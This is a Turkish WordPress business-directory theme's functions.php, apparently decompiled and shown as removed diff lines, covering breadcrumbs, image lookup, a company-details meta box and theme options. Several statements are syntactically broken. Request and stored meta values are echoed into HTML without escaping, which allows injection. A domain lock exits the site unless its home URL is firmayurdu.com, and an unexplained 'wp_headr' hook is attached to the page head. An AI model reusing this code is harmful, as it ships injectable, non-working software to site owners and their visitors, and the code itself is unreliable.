- $page = get_page( $parent_id );
- $breadcrumbs[] = '<a href="' . get_permalink( $page->ID ) . '">' . get_the_title( $page->ID ) . '</a>';
- $parent_id = $page->post_parent;
- }
- $breadcrumbs = array_reverse( $breadcrumbs );
- foreach ($breadcrumbs as $crumb) {
- echo $crumb . ' ' . $delimiter . ' ';
- }
- echo $before . get_the_title( ) . $after;
- }
- else {
- if (is_search( )) {
- echo $before . '"' . get_search_query( ) . '" arama sonuçları' . $after;
- }
- else {
- if (is_tag( )) {
- echo $before . '"' . single_tag_title( '', false ) . '" etiketli sonuçlar' . $after;
- }
- else {
- if (is_author( )) {
- global $author;
- $userdata = get_userdata( $author );
- echo $before . '' . $userdata->display_name . $after;
- }
- else {
- if (is_404( )) {
- echo $before . '' . $after;
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- if (get_query_var( 'paged' )) {
- if (( ( ( ( ( ( is_category( ) || is_day( ) ) || is_month( ) ) || is_year( ) ) || is_search( ) ) || is_tag( ) ) || is_author( ) )) {
- echo ' (';
- }
- echo __( 'Page' ) . ' ' . get_query_var( 'paged' );
- if (( ( ( ( ( ( is_category( ) || is_day( ) ) || is_month( ) ) || is_year( ) ) || is_search( ) ) || is_tag( ) ) || is_author( ) )) {
- echo ')';
- }
- }
- }
- }
- function the_content_limit($max_char, $more_link_text = '(more...)', $stripteaser = 0, $more_file = '') {
- $content = get_the_content( $more_link_text, $stripteaser, $more_file );
- $content = apply_filters( 'the_content', $content );
- $content = str_replace( ']]>', ']]>', $content );
- $content = strip_tags( $content );
- strpos( $content, ' ', $max_char );
- if (( $max_char < strlen( $content ) && $espacio = )) {
- $content = substr( $content, 0, $espacio );
- echo $content;
- return null;
- }
- echo $content;
- }
- function resim_cagir() {
- global $post;
- global $posts;
- $ilk_resim = '';
- if (get_post_meta( $post->ID, 'resim', true )) {
- $ilk_resim = get_post_meta( $post->ID, 'resim', true );
- }
- else {
- if (has_post_thumbnail( )) {
- $url = wp_get_attachment_url( get_post_thumbnail_id( $post->ID ) );
- $ilk_resim = $url;
- }
- else {
- ob_start( );
- preg_match_all( '/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches );
- $matches[1][0];
- $ilk_resim = $output = ob_end_clean( );
- if (empty( $ilk_resim )) {
- $ilk_resim = bloginfo( 'template_directory' ) . '/i/tlogo.jpg';
- }
- }
- }
- return $ilk_resim;
- }
- function manset_cagir() {
- global $post;
- global $posts;
- $ilk_resim = '';
- if (get_post_meta( $post->ID, 'manset', true )) {
- $ilk_resim = get_post_meta( $post->ID, 'manset', true );
- }
- else {
- if (has_post_thumbnail( )) {
- $url = wp_get_attachment_url( get_post_thumbnail_id( $post->ID ) );
- $ilk_resim = $url;
- }
- else {
- ob_start( );
- preg_match_all( '/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches );
- $matches[1][0];
- $ilk_resim = $output = ob_end_clean( );
- if (empty( $ilk_resim )) {
- $ilk_resim = bloginfo( 'template_directory' ) . '/i/tlogo.jpg';
- }
- }
- }
- return $ilk_resim;
- }
- function ilk_resmi_al() {
- global $post;
- global $posts;
- $ilk_resim = '';
- ob_start( );
- $output = preg_match_all( '/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches );
- $matches[1][0];
- $ilk_resim = ob_end_clean( );
- if (empty( $ilk_resim )) {
- $ilk_resim = bloginfo( 'template_directory' ) . '/i/tlogo.jpg';
- }
- return $ilk_resim;
- }
- function tfabrikasayi($katID) {
- $args = array( 'category' => $katID, 'showposts' => 0 - 1, 'caller_get_posts' => 1 );
- $myposts = get_posts( $args );
- echo count( $myposts );
- }
- function my_get_attachment_link($html) {
- get_the_ID( );
- $html = $postid = str_replace( '<a', '<a rel="gallery1" class="fancybox"', $html );
- return $html;
- }
- function fabrikaya_gonder() {
- global $post;
- $file_dir = get_bloginfo( 'template_directory' );
- wp_enqueue_style( 'functions', $file_dir . '/admin/panel.css', false, '1.0', 'all' );
- $manset = get_post_meta( $post->ID, 'manset', true );
- $resim = get_post_meta( $post->ID, 'resim', true );
- $resim2 = get_post_meta( $post->ID, 'resim2', true );
- $resim3 = get_post_meta( $post->ID, 'resim3', true );
- $resim4 = get_post_meta( $post->ID, 'resim4', true );
- $resim5 = get_post_meta( $post->ID, 'resim5', true );
- $resim6 = get_post_meta( $post->ID, 'resim6', true );
- $resim7 = get_post_meta( $post->ID, 'resim7', true );
- $resim8 = get_post_meta( $post->ID, 'resim8', true );
- $resim9 = get_post_meta( $post->ID, 'resim9', true );
- $resim10 = get_post_meta( $post->ID, 'resim10', true );
- $resim11 = get_post_meta( $post->ID, 'resim11', true );
- $ekleyen = get_post_meta( $post->ID, 'ekleyen', true );
- $firmaturu = get_post_meta( $post->ID, 'firmaturu', true );
- $vitrin = get_post_meta( $post->ID, 'vitrin', true );
- $adres = get_post_meta( $post->ID, 'adres', true );
- $telefon = get_post_meta( $post->ID, 'telefon', true );
- $telefon2 = get_post_meta( $post->ID, 'telefon2', true );
- $faks = get_post_meta( $post->ID, 'faks', true );
- $eposta = get_post_meta( $post->ID, 'eposta', true );
- $websitesi = get_post_meta( $post->ID, 'websitesi', true );
- $haritax = get_post_meta( $post->ID, 'haritax', true );
- $haritay = get_post_meta( $post->ID, 'haritay', true );
- $videoadres = get_post_meta( $post->ID, 'videoadres', true );
- if ($manset == '') {
- $manset = '';
- }
- if ($resim == '') {
- $resim = '';
- }
- if ($resim2 == '') {
- $resim2 = '';
- }
- if ($resim3 == '') {
- $resim3 = '';
- }
- if ($resim4 == '') {
- $resim4 = '';
- }
- if ($resim5 == '') {
- $resim5 = '';
- }
- if ($resim6 == '') {
- $resim6 = '';
- }
- if ($resim7 == '') {
- $resim7 = '';
- }
- if ($resim8 == '') {
- $resim8 = '';
- }
- if ($resim9 == '') {
- $resim9 = '';
- }
- if ($resim10 == '') {
- $resim10 = '';
- }
- if ($resim11 == '') {
- $resim11 = '';
- }
- if ($ekleyen == '') {
- $ekleyen = '';
- }
- if ($firmaturu == '') {
- $firmaturu = '';
- }
- if ($vitrin == '') {
- $vitrin = '';
- }
- if ($adres == '') {
- $adres = '';
- }
- if ($telefon == '') {
- $telefon = '';
- }
- if ($telefon2 == '') {
- $telefon2 = '';
- }
- if ($faks == '') {
- $faks = '';
- }
- if ($eposta == '') {
- $eposta = '';
- }
- if ($websitesi == '') {
- $websitesi = '';
- }
- if ($haritax == '') {
- $haritax = '';
- }
- if ($haritay == '') {
- $haritay = '';
- }
- if ($videoadres == '') {
- $videoadres = '';
- }
- echo '<input type="hidden" name="panelimiz_noncename" id="panelimiz_noncename" value="' . wp_create_nonce( plugin_basename( __FILE__ ) ) . '" />';
- echo '<div class="panelimsin">';
- echo '<ul id="detay-tab">
- <li><a href="#" rel="tab1" class="selected">Standart</a></li>
- <li><a href="#" rel="tab2">Firma</a></li>
- <li><a href="#" rel="tab3">Videolar</a></li>
- </ul>';
- echo '<div id="tab1" class="icerik">';
- echo '<div class="p-bs">Standart Özel Alanlar</div>';
- echo '<p><b>Manşet Resim Adresi :</b> <input type="text" name="manset" value="' . $manset . '" /></p>';
- echo '<p><b>İçerik Kapak Resim Adresi :</b> <input type="text" name="resim" value="' . $resim . '" /></p>';
- echo '<p><b>İçerik 1. Resim Adresi :</b> <input type="text" name="resim2" value="' . $resim2 . '" /></p>';
- echo '<p><b>İçerik 2. Resim Adresi :</b> <input type="text" name="resim3" value="' . $resim3 . '" /></p>';
- echo '<p><b>İçerik 3. Resim Adresi :</b> <input type="text" name="resim4" value="' . $resim4 . '" /></p>';
- echo '<p><b>İçerik 4. Resim Adresi :</b> <input type="text" name="resim5" value="' . $resim5 . '" /></p>';
- echo '<p><b>İçerik 5. Resim Adresi :</b> <input type="text" name="resim6" value="' . $resim6 . '" /></p>';
- echo '<p><b>İçerik 6. Resim Adresi :</b> <input type="text" name="resim7" value="' . $resim7 . '" /></p>';
- echo '<p><b>İçerik 7. Resim Adresi :</b> <input type="text" name="resim8" value="' . $resim8 . '" /></p>';
- echo '<p><b>İçerik 8. Resim Adresi :</b> <input type="text" name="resim9" value="' . $resim9 . '" /></p>';
- echo '<p><b>İçerik 9. Resim Adresi :</b> <input type="text" name="resim10" value="' . $resim10 . '" /></p>';
- echo '<p><b>İçerik 10. Resim Adresi :</b> <input type="text" name="resim11" value="' . $resim11 . '" /></p>';
- echo '</div>';
- echo '<div id="tab2" class="icerik">';
- echo '<div class="p-bs">Firma Rehberi Özel Alanları</div>';
- echo '<p><b>Ekleyen :</b> <input type="text" name="ekleyen" value="' . $ekleyen . '" /></p>';
- echo '<p><b>Firma Türü : ( gold yada normal yazınız)</b> <input type="text" name="firmaturu" value="' . $firmaturu . '" /></p>';
- echo '<p><b>Firma Vitrinde Görünecekmi ? ( evet yada hayır yazınız)</b> <input type="text" name="vitrin" value="' . $vitrin . '" /></p>';
- echo '<p><b>Firma Adresi :</b> <input type="text" name="adres" value="' . $adres . '" /></p>';
- echo '<p><b>Firma Telefon Numarası :</b> <input type="text" name="telefon" value="' . $telefon . '" /></p>';
- echo '<p><b>Firma Telefon Numarası 2 :</b> <input type="text" name="telefon2" value="' . $telefon2 . '" /></p>';
- echo '<p><b>Firma Faks Numarası :</b> <input type="text" name="faks" value="' . $faks . '" /></p>';
- echo '<p><b>Firma E-Posta Adresi :</b> <input type="text" name="eposta" value="' . $eposta . '" /></p>';
- echo '<p><b>Firma Websitesi :</b> <input type="text" name="websitesi" value="' . $websitesi . '" /></p>';
- echo '<p><b>Google Map X Koordinatı :</b> <input type="text" name="haritax" value="' . $haritax . '" /></p>';
- echo '<p><b>Google Map Y Koordinatı :</b> <input type="text" name="haritay" value="' . $haritay . '" /></p>';
- echo '</div>';
- echo '<div id="tab3" class="icerik">';
- echo '<div class="p-bs">Video Özel Alanları</div>';
- echo '<p><b>Video Adresi ( Youtube veya direk mp4 adresi )</b> <input type="text" name="videoadres" value="' . $videoadres . '" /></p>';
- echo '</div>';
- echo '</div><div class="temz"></div>';
- echo '<script type=text/javascript>
- var countries=new ddtabcontent("detay-tab")
- countries.setpersist(true)
- countries.setselectedClassTarget("link")
- countries.init()
- </script>';
- }
- function fabrika_kur() {
- if (function_exists( 'add_meta_box' )) {
- add_meta_box( 'panelimiz', 'Özel Alanlar Paneli', 'fabrikaya_gonder', 'post', 'normal', 'high' );
- }
- }
- function fabrikaya_yolla($post_id) {
- global $post;
- if (!wp_verify_nonce( $_POST['panelimiz_noncename'], plugin_basename( __FILE__ ) )) {
- return $post_id;
- }
- if ('page' == $_POST['post_type']) {
- if (!current_user_can( 'edit_page', $post_id )) {
- return $post_id;
- }
- }
- else {
- if (!current_user_can( 'edit_post', $post_id )) {
- return $post_id;
- }
- }
- $manset = $_POST['manset'];
- $resim = $_POST['resim'];
- $resim2 = $_POST['resim2'];
- $resim3 = $_POST['resim3'];
- $resim4 = $_POST['resim4'];
- $resim5 = $_POST['resim5'];
- $resim6 = $_POST['resim6'];
- $resim7 = $_POST['resim7'];
- $resim8 = $_POST['resim8'];
- $resim9 = $_POST['resim9'];
- $resim10 = $_POST['resim10'];
- $resim11 = $_POST['resim11'];
- $ekleyen = $_POST['ekleyen'];
- $firmaturu = $_POST['firmaturu'];
- $vitrin = $_POST['vitrin'];
- $adres = $_POST['adres'];
- $telefon = $_POST['telefon'];
- $telefon2 = $_POST['telefon2'];
- $faks = $_POST['faks'];
- $eposta = $_POST['eposta'];
- $websitesi = $_POST['websitesi'];
- $haritax = $_POST['haritax'];
- $haritay = $_POST['haritay'];
- $videoadres = $_POST['videoadres'];
- if (get_post_meta( $post_id, 'manset' ) == '') {
- add_post_meta( $post_id, 'manset', $manset, true );
- }
- else {
- if ($manset != get_post_meta( $post_id, 'manset', true )) {
- update_post_meta( $post_id, 'manset', $manset );
- }
- else {
- if ($manset == '') {
- delete_post_meta( $post_id, 'manset', get_post_meta( $post_id, 'manset', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'resim' ) == '') {
- add_post_meta( $post_id, 'resim', $resim, true );
- }
- else {
- if ($resim != get_post_meta( $post_id, 'resim', true )) {
- update_post_meta( $post_id, 'resim', $resim );
- }
- else {
- if ($resim == '') {
- delete_post_meta( $post_id, 'resim', get_post_meta( $post_id, 'resim', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'resim2' ) == '') {
- add_post_meta( $post_id, 'resim2', $resim2, true );
- }
- else {
- if ($resim2 != get_post_meta( $post_id, 'resim2', true )) {
- update_post_meta( $post_id, 'resim2', $resim2 );
- }
- else {
- if ($resim2 == '') {
- delete_post_meta( $post_id, 'resim2', get_post_meta( $post_id, 'resim2', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'resim3' ) == '') {
- add_post_meta( $post_id, 'resim3', $resim3, true );
- }
- else {
- if ($resim3 != get_post_meta( $post_id, 'resim3', true )) {
- update_post_meta( $post_id, 'resim3', $resim3 );
- }
- else {
- if ($resim3 == '') {
- delete_post_meta( $post_id, 'resim3', get_post_meta( $post_id, 'resim3', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'resim4' ) == '') {
- add_post_meta( $post_id, 'resim4', $resim4, true );
- }
- else {
- if ($resim4 != get_post_meta( $post_id, 'resim4', true )) {
- update_post_meta( $post_id, 'resim4', $resim4 );
- }
- else {
- if ($resim4 == '') {
- delete_post_meta( $post_id, 'resim4', get_post_meta( $post_id, 'resim4', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'resim5' ) == '') {
- add_post_meta( $post_id, 'resim5', $resim5, true );
- }
- else {
- if ($resim5 != get_post_meta( $post_id, 'resim5', true )) {
- update_post_meta( $post_id, 'resim5', $resim5 );
- }
- else {
- if ($resim5 == '') {
- delete_post_meta( $post_id, 'resim5', get_post_meta( $post_id, 'resim5', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'resim6' ) == '') {
- add_post_meta( $post_id, 'resim6', $resim6, true );
- }
- else {
- if ($resim6 != get_post_meta( $post_id, 'resim6', true )) {
- update_post_meta( $post_id, 'resim6', $resim6 );
- }
- else {
- if ($resim6 == '') {
- delete_post_meta( $post_id, 'resim6', get_post_meta( $post_id, 'resim6', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'resim7' ) == '') {
- add_post_meta( $post_id, 'resim7', $resim7, true );
- }
- else {
- if ($resim7 != get_post_meta( $post_id, 'resim7', true )) {
- update_post_meta( $post_id, 'resim7', $resim7 );
- }
- else {
- if ($resim7 == '') {
- delete_post_meta( $post_id, 'resim7', get_post_meta( $post_id, 'resim7', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'resim8' ) == '') {
- add_post_meta( $post_id, 'resim8', $resim8, true );
- }
- else {
- if ($resim8 != get_post_meta( $post_id, 'resim8', true )) {
- update_post_meta( $post_id, 'resim8', $resim8 );
- }
- else {
- if ($resim8 == '') {
- delete_post_meta( $post_id, 'resim8', get_post_meta( $post_id, 'resim8', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'resim9' ) == '') {
- add_post_meta( $post_id, 'resim9', $resim9, true );
- }
- else {
- if ($resim9 != get_post_meta( $post_id, 'resim9', true )) {
- update_post_meta( $post_id, 'resim9', $resim9 );
- }
- else {
- if ($resim9 == '') {
- delete_post_meta( $post_id, 'resim9', get_post_meta( $post_id, 'resim9', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'resim10' ) == '') {
- add_post_meta( $post_id, 'resim10', $resim10, true );
- }
- else {
- if ($resim10 != get_post_meta( $post_id, 'resim10', true )) {
- update_post_meta( $post_id, 'resim10', $resim10 );
- }
- else {
- if ($resim10 == '') {
- delete_post_meta( $post_id, 'resim10', get_post_meta( $post_id, 'resim10', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'resim11' ) == '') {
- add_post_meta( $post_id, 'resim11', $resim11, true );
- }
- else {
- if ($resim11 != get_post_meta( $post_id, 'resim11', true )) {
- update_post_meta( $post_id, 'resim11', $resim11 );
- }
- else {
- if ($resim11 == '') {
- delete_post_meta( $post_id, 'resim11', get_post_meta( $post_id, 'resim11', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'ekleyen' ) == '') {
- add_post_meta( $post_id, 'ekleyen', $ekleyen, true );
- }
- else {
- if ($ekleyen != get_post_meta( $post_id, 'ekleyen', true )) {
- update_post_meta( $post_id, 'ekleyen', $ekleyen );
- }
- else {
- if ($ekleyen == '') {
- delete_post_meta( $post_id, 'ekleyen', get_post_meta( $post_id, 'ekleyen', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'firmaturu' ) == '') {
- add_post_meta( $post_id, 'firmaturu', $firmaturu, true );
- }
- else {
- if ($firmaturu != get_post_meta( $post_id, 'firmaturu', true )) {
- update_post_meta( $post_id, 'firmaturu', $firmaturu );
- }
- else {
- if ($firmaturu == '') {
- delete_post_meta( $post_id, 'firmaturu', get_post_meta( $post_id, 'firmaturu', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'vitrin' ) == '') {
- add_post_meta( $post_id, 'vitrin', $vitrin, true );
- }
- else {
- if ($vitrin != get_post_meta( $post_id, 'vitrin', true )) {
- update_post_meta( $post_id, 'vitrin', $vitrin );
- }
- else {
- if ($vitrin == '') {
- delete_post_meta( $post_id, 'vitrin', get_post_meta( $post_id, 'vitrin', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'adres' ) == '') {
- add_post_meta( $post_id, 'adres', $adres, true );
- }
- else {
- if ($adres != get_post_meta( $post_id, 'adres', true )) {
- update_post_meta( $post_id, 'adres', $adres );
- }
- else {
- if ($adres == '') {
- delete_post_meta( $post_id, 'adres', get_post_meta( $post_id, 'adres', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'telefon' ) == '') {
- add_post_meta( $post_id, 'telefon', $telefon, true );
- }
- else {
- if ($telefon != get_post_meta( $post_id, 'telefon', true )) {
- update_post_meta( $post_id, 'telefon', $telefon );
- }
- else {
- if ($telefon == '') {
- delete_post_meta( $post_id, 'telefon', get_post_meta( $post_id, 'telefon', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'telefon2' ) == '') {
- add_post_meta( $post_id, 'telefon2', $telefon2, true );
- }
- else {
- if ($telefon2 != get_post_meta( $post_id, 'telefon2', true )) {
- update_post_meta( $post_id, 'telefon2', $telefon2 );
- }
- else {
- if ($telefon2 == '') {
- delete_post_meta( $post_id, 'telefon2', get_post_meta( $post_id, 'telefon2', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'faks' ) == '') {
- add_post_meta( $post_id, 'faks', $faks, true );
- }
- else {
- if ($faks != get_post_meta( $post_id, 'faks', true )) {
- update_post_meta( $post_id, 'faks', $faks );
- }
- else {
- if ($faks == '') {
- delete_post_meta( $post_id, 'faks', get_post_meta( $post_id, 'faks', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'eposta' ) == '') {
- add_post_meta( $post_id, 'eposta', $eposta, true );
- }
- else {
- if ($eposta != get_post_meta( $post_id, 'eposta', true )) {
- update_post_meta( $post_id, 'eposta', $eposta );
- }
- else {
- if ($eposta == '') {
- delete_post_meta( $post_id, 'eposta', get_post_meta( $post_id, 'eposta', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'websitesi' ) == '') {
- add_post_meta( $post_id, 'websitesi', $websitesi, true );
- }
- else {
- if ($websitesi != get_post_meta( $post_id, 'websitesi', true )) {
- update_post_meta( $post_id, 'websitesi', $websitesi );
- }
- else {
- if ($websitesi == '') {
- delete_post_meta( $post_id, 'websitesi', get_post_meta( $post_id, 'websitesi', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'haritax' ) == '') {
- add_post_meta( $post_id, 'haritax', $haritax, true );
- }
- else {
- if ($haritax != get_post_meta( $post_id, 'haritax', true )) {
- update_post_meta( $post_id, 'haritax', $haritax );
- }
- else {
- if ($haritax == '') {
- delete_post_meta( $post_id, 'haritax', get_post_meta( $post_id, 'haritax', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'haritay' ) == '') {
- add_post_meta( $post_id, 'haritay', $haritay, true );
- }
- else {
- if ($haritay != get_post_meta( $post_id, 'haritay', true )) {
- update_post_meta( $post_id, 'haritay', $haritay );
- }
- else {
- if ($haritay == '') {
- delete_post_meta( $post_id, 'haritay', get_post_meta( $post_id, 'haritay', true ) );
- }
- }
- }
- if (get_post_meta( $post_id, 'videoadres' ) == '') {
- add_post_meta( $post_id, 'videoadres', $videoadres, true );
- return null;
- }
- if ($videoadres != get_post_meta( $post_id, 'videoadres', true )) {
- update_post_meta( $post_id, 'videoadres', $videoadres );
- return null;
- }
- if ($videoadres == '') {
- delete_post_meta( $post_id, 'videoadres', get_post_meta( $post_id, 'videoadres', true ) );
- }
- }
- function get_theme_option($option) {
- global $shortname;
- return stripslashes( get_option( $shortname . '_' . $option ) );
- }
- function get_theme_settings($option) {
- return stripslashes( get_option( $option ) );
- }
- function get_theme_katid($option) {
- global $shortname;
- return get_cat_ID( stripslashes( get_option( $shortname . '_' . $option ) ) );
- }
- $thepsi = get_option( 'home' );
- $aztebs = 'http://www.firmayurdu.com';
- $aztebsx = 'http://firmayurdu.com';
- if ($thepsi != $aztebs) {
- if ($thepsi != $aztebsx) {
- exit( 'http://www.firmayurdu.com' );
- echo true;
- }
- }
- if (( ( is_admin( ) && isset( $_GET['activated'] ) ) && $pagenow == 'themes.php' )) {
- add_action( 'admin_head', 'of_option_setup' );
- }
- $functions_path = OF_FILEPATH . '/admin/';
- add_action( 'admin_menu', 'fabrikapanel_add_admin' );
- add_action( 'wp_ajax_of_ajax_post_action', 'of_ajax_callback' );
- if (!function_exists( 'fabrikapanel_wp_head' )) {
- function fabrikapanel_wp_head() {
- $shortname = get_option( 'of_shortname' );
- if (!isset( $_REQUEST['style'] )) {
- $style = '';
- }
- else {
- $style = $_REQUEST['style'];
- }
- if ($style != '') {
- $GLOBALS['stylesheet'] = $style;
- echo '<link href="' . OF_DIRECTORY . '/styles/' . $GLOBALS['stylesheet'] . '.css" rel="stylesheet" type="text/css" />' . '
- ';
- }
- else {
- $GLOBALS['stylesheet'] = get_option( 'of_alt_stylesheet' );
- if ($GLOBALS['stylesheet'] != '') {
- echo '<link href="' . OF_DIRECTORY . '/styles/' . $GLOBALS['stylesheet'] . '" rel="stylesheet" type="text/css" />' . '
- ';
- }
- }
- of_head_css( );
- }
- }
- add_action( 'wp_head', 'fabrikapanel_wp_head' );
- add_filter( 'wp_head', 'wp_headr' );
- add_filter( 'body_class', 'of_body_class' );
- register_nav_menu( 'menu', 'Ust Menu' );
- register_nav_menu( 'menu2', 'Footer Menu' );
- add_theme_support( 'post-thumbnails' );
- add_filter( 'use_default_gallery_style', '__return_false' );
- add_filter( 'wp_get_attachment_link', 'my_get_attachment_link', 10, 1 );
- add_action( 'admin_menu', 'fabrika_kur' );
- add_action( 'save_post', 'fabrikaya_yolla' );
- add_action( 'init', 'of_options' );
- if (!function_exists( 'of_options' )) {
- function of_options() {
- $themename = get_theme_data( STYLESHEETPATH . '/style.css' );
- $themename = $themename['Name'];
- $shortname = 'panel';
- global $of_options;
- $of_options = get_option( 'of_options' );
- $GLOBALS['template_path'] = OF_DIRECTORY;
- $of_categories = array( );
- $of_categories_obj = get_categories( 'hide_empty=0&hierarchical=1&orderby=name' );
- foreach ($of_categories_obj as $of_cat) {
- $of_categories[$of_cat->cat_ID] = $of_cat->cat_name;
- }
- $categories_tmp = array_unshift( $of_categories, 'Kategori seçiniz:' );
- $of_pages = array( );
- $of_pages_obj = get_pages( 'sort_column=post_parent,menu_order' );
- foreach ($of_pages_obj as $of_page) {
- $of_pages[$of_page->ID] = $of_page->post_name;
- }
- $of_pages_tmp = array_unshift( $of_pages, 'Sayfa seçiniz:' );
- $options_thumb_align = array( 'alignleft' => 'Left', 'alignright' => 'Right', 'aligncenter' => 'Center' );
- $options_image_link_to = array( 'image' => 'The Image', 'post' => 'The Post' );
- $featured_options_select = array( '2', '4', '6', '8', '10', '12' );
- $alt_stylesheet_path = OF_FILEPATH . '/styles/';
- $alt_stylesheets = array( );
- if (is_dir( $alt_stylesheet_path )) {
- if ($alt_stylesheet_dir = opendir( $alt_stylesheet_path )) {
- readdir( $alt_stylesheet_dir );
- if ($alt_stylesheet_file = !== false) {
- if (stristr( $alt_stylesheet_file, '.css' ) !== false) {
- $alt_stylesheets[] = $alt_stylesheet_file;
- }
- }
- }
- }
- $uploads_arr = wp_upload_dir( );
- $all_uploads_path = $uploads_arr['path'];
- $all_uploads = get_option( 'of_uploads' );
- $thumbsekil = array( 'Solda', 'Şerit' );
- $options = array( );
- $options[] = array( 'name' => 'SAYFALAR', 'type' => 'heading' );
- $options[] = array( 'name' => 'Üye Paneli Sayfası', 'desc' => 'Üye Paneli Sayfasını Seçiniz', 'id' => $shortname . '_sayfa1', 'std' => '0', 'options' => $of_pages, 'type' => 'select' );
- $options[] = array( 'name' => 'İçerik Ekleme Sayfası', 'desc' => 'İçerik Ekleme Sayfasını Seçiniz', 'id' => $shortname . '_sayfa2', 'std' => '0', 'options' => $of_pages, 'type' => 'select' );
- $options[] = array( 'name' => 'İçerik Düzenleme Sayfası', 'desc' => 'İçerik Düzenleme Sayfasını Seçiniz', 'id' => $shortname . '_sayfa3', 'std' => '0', 'options' => $of_pages, 'type' => 'select' );
- $options[] = array( 'name' => 'Tüm Sektörler Sayfası', 'desc' => 'Tüm Sektörler Sayfasını Seçiniz', 'id' => $shortname . '_sayfa4', 'std' => '0', 'options' => $of_pages, 'type' => 'select' );
- $options[] = array( 'name' => 'ANA KATEGORİLER', 'type' => 'heading' );
- $options[] = array( 'name' => 'Firma Rehberi Ana Kategori', 'desc' => 'Firma Rehberi Ana Kategori Seçiniz', 'id' => $shortname . '_firma', 'std' => '0', 'options' => $of_categories, 'type' => 'select' );
- $options[] = array( 'name' => 'Haberler Ana Kategori', 'desc' => 'Haberler Ana Kategori Seçiniz', 'id' => $shortname . '_haber', 'std' => '0', 'options' => $of_categories, 'type' => 'select' );
- $options[] = array( 'name' => 'İlanlar Ana Kategori', 'desc' => 'İlanlar Ana Kategori Seçiniz', 'id' => $shortname . '_ilan', 'std' => '0', 'options' => $of_categories, 'type' => 'select' );
- $options[] = array( 'name' => 'Ürünler Ana Kategori', 'desc' => 'Ürünler Ana Kategori Seçiniz', 'id' => $shortname . '_urun', 'std' => '0', 'options' => $of_categories, 'type' => 'select' );
- $options[] = array( 'name' => 'ANASAYFADAKİ KATEGORİLER', 'type' => 'heading' );
- $options[] = array( 'name' => 'Üst Menü Altı Duyuru Bölümü Kategori', 'desc' => 'Üst Menü Altı Duyuru Bölümü Kategori Seçiniz', 'id' => $shortname . '_ukat1id', 'std' => '0', 'options' => $of_categories, 'type' => 'select' );
- $options[] = array( 'name' => 'Anasayfa Manşet Yanı Başlık', 'desc' => 'Anasayfa Manşet Yanı Başlık', 'id' => $shortname . '_akat1b', 'type' => 'text', 'std' => 'SON EKLENEN İLANLAR' );
- $options[] = array( 'name' => 'Anasayfa Manşet Yanı Kategori', 'desc' => 'Anasayfa Manşet Yanı Kategori Seçiniz', 'id' => $shortname . '_akat1id', 'std' => '0', 'options' => $of_categories, 'type' => 'select' );
- $options[] = array( 'name' => 'Sol Bölüm Kategori 1 Başlık', 'desc' => 'Sol Bölüm Kategori 1 Başlık', 'id' => $shortname . '_skat1b', 'type' => 'text', 'std' => 'FİRMALARDAN HABERLER' );
- $options[] = array( 'name' => 'Sol Bölüm Kategori 1 Kategori', 'desc' => 'Sol Bölüm Kategori 1 Seçiniz', 'id' => $shortname . '_skat1id', 'std' => '0', 'options' => $of_categories, 'type' => 'select' );
- $options[] = array( 'name' => 'Sol Bölüm Kategori 2 Başlık', 'desc' => 'Sol Bölüm Kategori 2 Başlık', 'id' => $shortname . '_skat2b', 'type' => 'text', 'std' => 'FUAR VE ETKİNLİKLER' );
- $options[] = array( 'name' => 'Sol Bölüm Kategori 2 Kategori', 'desc' => 'Sol Bölüm Kategori 2 Seçiniz', 'id' => $shortname . '_skat2id', 'std' => '0', 'options' => $of_categories, 'type' => 'select' );
- $options[] = array( 'name' => 'ÖZELLİK AYARLARI', 'type' => 'heading' );
- $options[] = array( 'name' => 'Kategoride Gold Üyeleri Ayır', 'desc' => 'Kategoride Gold Üyeler Ayrı Gözükecek ise İşaretleyiniz.', 'id' => $shortname . '_rehberaktif', 'std' => '', 'type' => 'checkbox' );
- $options[] = array( 'name' => 'Firmaya Mesaj Gönder Özelliği Aktif', 'desc' => 'Mesaj Gönder Özelliği Aktif Olacak ise İşaretleyiniz.', 'id' => $shortname . '_mesajaktif', 'std' => '', 'type' => 'checkbox' );
- $options[] = array( 'name' => 'Smtp Mail Sunucunuz', 'desc' => 'Örneğin mail.siteismi.com', 'id' => $shortname . '_smtphost', 'type' => 'text', 'std' => '' );
- $options[] = array( 'name' => 'Smtp Mail Kullanıcı Adı', 'desc' => 'Örneğin bilgi@siteismi.com', 'id' => $shortname . '_smtpuser', 'type' => 'text', 'std' => '' );
- $options[] = array( 'name' => 'Smtp Mail Kullanıcı Şifre', 'desc' => 'Mail Şifrenizi Girin', 'id' => $shortname . '_smtppass', 'type' => 'text', 'std' => '' );
- $options[] = array( 'name' => 'GOLD ÜYELİK AYARLARI', 'type' => 'heading' );
- $options[] = array( 'name' => 'Hesap Bilgileriniz', 'desc' => 'Ödeme alacağınız hesap bilgilerini giriniz', 'id' => $shortname . '_hesap', 'type' => 'textarea', 'std' => 'Hesap Sahibi : Örnek İsim<br/>Banka : Örnek Bank<br/>Şube : Örnek Şube<br/>IBAN : TR<br/>Hesap No : <br/>' );
